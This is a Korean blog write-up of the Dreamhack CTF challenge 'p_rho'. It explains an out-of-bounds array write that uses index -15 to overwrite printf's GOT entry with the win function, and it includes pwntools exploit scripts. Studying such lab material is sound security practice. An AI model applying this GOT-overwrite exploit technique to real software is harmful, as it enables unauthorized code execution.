[Dreamhack] p_rho

pandas·2024년 12월 4일
0

Dreamhack

목록 보기
14/14

00. 문제 파일

01. 바이너리 분석


main함수

감사하게도 win함수가 존재한다

간단하게 idx를 입력받고, 다음 반복문때 buf[idx]의 값을 넣어주는 프로그램이다

bof는 안 터질것 같았고, 다른 취약점이 존재할 것 같았다

보면 바로 보인다

02. 공격 시나리오

Out Of Bound 취약점으로 aaw가 가능하다
NO PIE이니깐 바로 음수 인덱스 넣고, win함수 주소를 바로 넣으면 될 것 같다

gdb로 분석하면

buf의 주소는 0x404080임을 알 수 있다

while문이 한 번 돌게 되면 printf함수를 호출한다
printf함수를 호출하는 주소에다가 oob를 이용해서 aaw을 한 다음, win함수를 넣어주면 된다


printfGOT 주소는 : 0x404008이다 (NO PIE환경이므로)

from pwn import *

p = process("./prob")
e = ELF("./prob")

def slog(n, m):
    return success(" : ".join([n, hex(m)]))
    
slog("[!] print-got ", e.got['printf'])

p.interactive()

buf의 주소와 printf함수의 주소 차이를 계산 해보면,

from pwn import *

p = process("./prob")
e = ELF("./prob")

buf = 0x404080

def slog(n, m):
    return success(" : ".join([n, hex(m)]))

slog("[!] print-got ", e.got['printf'])
print(f"Distance [buf] - [print_got] = {hex(buf)} - {hex(e.got['printf'])}\n=> {int(buf) - int(e.got['printf'])}")

p.interactive()


120만큼 떨어져 있다고 한다

중요 : 120만큼 떨어져 있다고 해서 idx = -120이 아니라 8개씩 끊어서 들어가므로 idx = -15를 넣어줘야 한다

03. Exploit

from pwn import *

p = process("./prob")
#p = remote("host3.dreamhack.games", [PORT])
e = ELF("./prob")

def slog(n, m):
    return success(" : ".join([n, hex(m)]))

buf = 0x404080

slog("[!] win ", e.symbols['win'])
slog("[!] print-got ", e.got['printf'])
slog("[!] buf", buf)

print(f"Distance [buf] - [print_got] = {hex(buf)} - {hex(e.got['printf'])}\n=> {int(buf) - int(e.got['printf'])}")

p.sendlineafter(b"val: ", str(-15))
p.sendlineafter(b"val: ", str(int(e.symbols['win'])))

p.interactive()

04. Review

OOB를 실습하는 좋은 문제였다
1208로 나누는 과정, int로 주소를 받는 과정
이 부분들에서 조금 막혔는데, 코드를 더 깊게 분석하고, 익스코드와 기본적인 개념들을 중요시 해야겠다는 점을 배웠다

profile
KDMHS 23 WP

0개의 댓글

관련 채용 정보